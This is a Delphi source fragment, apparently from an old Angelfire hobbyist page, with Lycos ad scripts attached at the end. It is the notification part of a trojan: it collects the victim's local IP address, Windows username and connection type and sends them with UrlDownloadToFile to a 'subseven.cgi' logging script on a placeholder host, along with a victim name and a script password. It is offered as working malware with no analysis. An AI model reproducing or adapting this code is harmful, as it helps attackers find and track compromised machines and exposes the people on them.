username: string;
I: integer;
strKind: string;
const
victimname:string = 'Victim Name';
ScriptPassword:string = '1234';
MODEM = 1;
LAN = 2;
PROXY = 4;
BUSY = 8;

function LocalIP: string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array [0..63] of char;
GInitData: TWSADATA;

begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do begin
result:=StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;

function GetUser: string;
var
buffsize : DWORD;
begin
buffsize := 128;
Setlength(username,buffsize);
Getusername(Pchar(username),buffsize);
result := username;
end;

function GetConnectionKind(var strKind: string): Boolean;
var
flags: DWORD;
begin
strKind := '';
Result := InternetGetConnectedState(@flags, 0);
if Result then
begin
if (flags and MODEM) = MODEM then strKind := 'Modem';
if (flags and LAN) = LAN then strKind := 'LAN';
if (flags and PROXY) = PROXY then strKind := 'Proxy';
if (flags and BUSY) = BUSY then strKind := 'Modem Busy';
end;
end;

var cIP,cUser,cAdd:string;
begin
cIP:=LocalIP;
cUser:=GetUser;
cAdd:='http://www.mysite.com/cgi-bin/subseven.cgi?action=log&ip='+ cIP +'&port=NoneYet&id='+ victimname +'&win='+ cUser +'&rpass=NoneYet&connection='+ strKind +'&s7pass='+ ScriptPassword;
GetConnectionKind(strKind);
UrlDownloadToFile(nil, PChar(cAdd) , nil , 0, nil);
end.
<script type="text/javascript" src="http://hb.lycos.com/hb.js"></script>
<script type="text/javascript" src="http://ratings.lycos.com/ratings/lycosRating.js.php"></script>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var cm_role = "live";
var cm_host = "angelfire.lycos.com";
var cm_taxid = "/memberembedded";
var angelfire_member_name = "ex/ndisfun";
var angelfire_member_page = "ex/ndisfun/index.html";
var angelfire_ratings_hash = "1231386984:5672f1ed9498dbf45532344c367510e9";

var lycos_ad_category = null;

var lycos_ad_remote_addr = "38.103.63.58";
var lycos_ad_www_server = "www.angelfire.lycos.com";
var edit_site_url = "www.angelfire.lycos.com/landing/landing.tmpl?utm_source=house&utm_medium=landingpage&utm_campaign=toolbarlink";
var lycos_ad_track_small = "http://www.angelfire.com/doc/images/track/ot_smallframe.gif?rand=44582";
var lycos_ad_track_served = "http://www.angelfire.com/doc/images/track/ot_adserved.gif?rand=44582";
//--><!]]></script>
<script type="text/javascript" src="http://scripts.lycos.com/catman/init.js"></script>
<script type="text/javascript" src="http://www.angelfire.com/sys/ad/code-start.js"></script>
<script type="text/javascript" src="http://www.angelfire.com/sys/ad/code-middle.js"></script>
<script type="text/javascript" src="http://www.angelfire.com/sys/ad/code-end.js"></script>
<noscript>
<img src="http://www.angelfire.com/doc/images/track/ot_noscript.gif?rand=44582" alt="" width="1" height="1" />
 <!-- BEGIN STANDARD TAG - 728 x 90 - Lycos - Angelfire Fallthrough - DO NOT MODIFY -->
 <iframe frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="728" height="90" src="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90&section=280303"></iframe>
 <!-- END TAG -->
</noscript>